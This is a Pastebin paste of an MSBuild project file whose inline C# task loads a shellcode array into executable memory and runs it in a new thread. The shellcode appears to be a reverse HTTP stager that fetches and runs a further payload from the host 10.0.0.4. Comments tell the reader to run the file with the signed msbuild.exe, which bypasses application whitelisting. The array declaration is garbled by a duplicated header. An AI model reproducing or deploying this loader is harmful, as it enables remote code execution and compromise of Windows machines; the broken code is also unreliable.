Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
- <!-- This inline task executes shellcode. -->
- <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
- <!-- Save This File And Execute The Above Command -->
- <!-- Author: Casey Smith, Twitter: @subTee -->
- <!-- License: BSD 3-Clause -->
- <Target Name="Hello">
- <ClassExample />
- </Target>
- <UsingTask
- TaskName="ClassExample"
- TaskFactory="CodeTaskFactory"
- AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
- <Task>
- <Code Type="Class" Language="cs">
- <![CDATA[
- using System;
- using System.Runtime.InteropServices;
- using Microsoft.Build.Framework;
- using Microsoft.Build.Utilities;
- public class ClassExample : Task, ITask
- {
- private static UInt32 MEM_COMMIT = 0x1000;
- private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
- [DllImport("kernel32")]
- private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
- UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
- [DllImport("kernel32")]
- private static extern IntPtr CreateThread(
- UInt32 lpThreadAttributes,
- UInt32 dwStackSize,
- UInt32 lpStartAddress,
- IntPtr param,
- UInt32 dwCreationFlags,
- ref UInt32 lpThreadId
- );
- [DllImport("kernel32")]
- private static extern UInt32 WaitForSingleObject(
- IntPtr hHandle,
- UInt32 dwMilliseconds
- );
- public override bool Execute()
- {
- byte[] shellcode = new byte[] { byte[] buf = new byte[524] {
- 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
- 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
- 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
- 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
- 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
- 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
- 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
- 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
- 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
- 0x8d,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,
- 0x77,0x26,0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0xe8,0x3e,0x00,
- 0x00,0x00,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x35,0x2e,0x30,0x20,0x28,
- 0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x20,0x4e,0x54,0x20,0x36,0x2e,0x31,0x3b,
- 0x20,0x54,0x72,0x69,0x64,0x65,0x6e,0x74,0x2f,0x37,0x2e,0x30,0x3b,0x20,0x72,
- 0x76,0x3a,0x31,0x31,0x2e,0x30,0x29,0x20,0x6c,0x69,0x6b,0x65,0x20,0x47,0x65,
- 0x63,0x6b,0x6f,0x00,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x03,
- 0x53,0x53,0x68,0xc1,0x01,0x00,0x00,0xe8,0xf7,0x00,0x00,0x00,0x2f,0x67,0x49,
- 0x44,0x39,0x35,0x65,0x62,0x2d,0x79,0x6c,0x46,0x46,0x32,0x6b,0x54,0x62,0x47,
- 0x46,0x68,0x4d,0x79,0x67,0x48,0x7a,0x45,0x69,0x36,0x79,0x51,0x72,0x53,0x54,
- 0x46,0x62,0x63,0x36,0x4d,0x2d,0x50,0x56,0x75,0x75,0x44,0x78,0x53,0x41,0x4b,
- 0x50,0x5f,0x39,0x7a,0x69,0x70,0x68,0x65,0x68,0x4f,0x67,0x44,0x31,0x5a,0x6d,
- 0x51,0x46,0x31,0x74,0x67,0x6e,0x31,0x41,0x7a,0x4f,0x66,0x4b,0x42,0x49,0x78,
- 0x64,0x50,0x48,0x66,0x66,0x33,0x50,0x33,0x66,0x62,0x63,0x41,0x33,0x50,0x43,
- 0x43,0x73,0x76,0x65,0x64,0x68,0x61,0x77,0x38,0x32,0x00,0x50,0x68,0x57,0x89,
- 0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x00,0x32,0xe0,0x84,0x53,0x53,0x53,
- 0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0x0a,0x5f,0x68,
- 0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,
- 0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,
- 0xd5,0x85,0xc0,0x75,0x14,0x68,0x88,0x13,0x00,0x00,0x68,0x44,0xf0,0x35,0xe0,
- 0xff,0xd5,0x4f,0x75,0xcd,0xe8,0x45,0x00,0x00,0x00,0x6a,0x40,0x68,0x00,0x10,
- 0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,
- 0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,
- 0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcf,0x8b,0x07,0x01,0xc3,0x85,0xc0,
- 0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x6b,0xff,0xff,0xff,0x31,0x30,0x2e,0x30,0x2e,
- 0x30,0x2e,0x34,0x00,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 };
- };
- UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
- MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
- IntPtr hThread = IntPtr.Zero;
- UInt32 threadId = 0;
- IntPtr pinfo = IntPtr.Zero;
- hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
- WaitForSingleObject(hThread, 0xFFFFFFFF);
- return true;
- }
- }
- ]]>
- </Code>
- </Task>
- </UsingTask>
- </Project>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement